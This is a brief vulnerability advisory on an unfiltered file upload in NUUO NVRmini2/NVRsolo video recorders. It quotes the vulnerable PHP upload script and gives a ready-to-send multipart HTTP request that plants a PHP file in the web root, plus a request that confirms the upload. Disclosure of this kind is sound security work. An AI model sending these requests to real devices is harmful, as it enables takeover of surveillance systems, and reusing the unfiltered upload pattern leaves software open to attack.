NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

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Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All
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Vulnerability Description
==========================

Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world. 

Vulnerable cgi: /upload.php

  <?php 
  //echo $_FILES['userfile']['type'];
  //echo ":";
  //echo $_FILES['userfile']['size'];
  //echo ":";
  //echo urldecode($_FILES['userfile']['name']);
  //echo ":";
  //echo $_FILES['userfile']['tmp_name'];
  //echo ":";
  //echo $_FILES['userfile']['error'];
  //echo ":";
  echo $_FILES['userfile']['name'];
  copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
  ?>


As the code above, no any filter, so we can upload a php shell directly to the web server.

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POC && EXP
==========================

1. Upload 'nuuonvr.php' to web root path:

  POST /upload.php HTTP/1.1
  Host: 192.168.10.1
  Accept-Encoding: gzip, deflate
  Accept: */*
  Accept-Language: en
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  Connection: close
  Content-Type: multipart/form-data; boundary=--------969849961
  Content-Length: 162

  ----------969849961
  Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"

  <?php phpinfo();@unlink(__FILE__);?>
  ----------969849961--

2. Check if the php file is uploaded successfully:

  GET http://192.168.10.1/nuuonvr.php 

   If the page returns phpinfo info, target is vulnerable! Just enjoy it!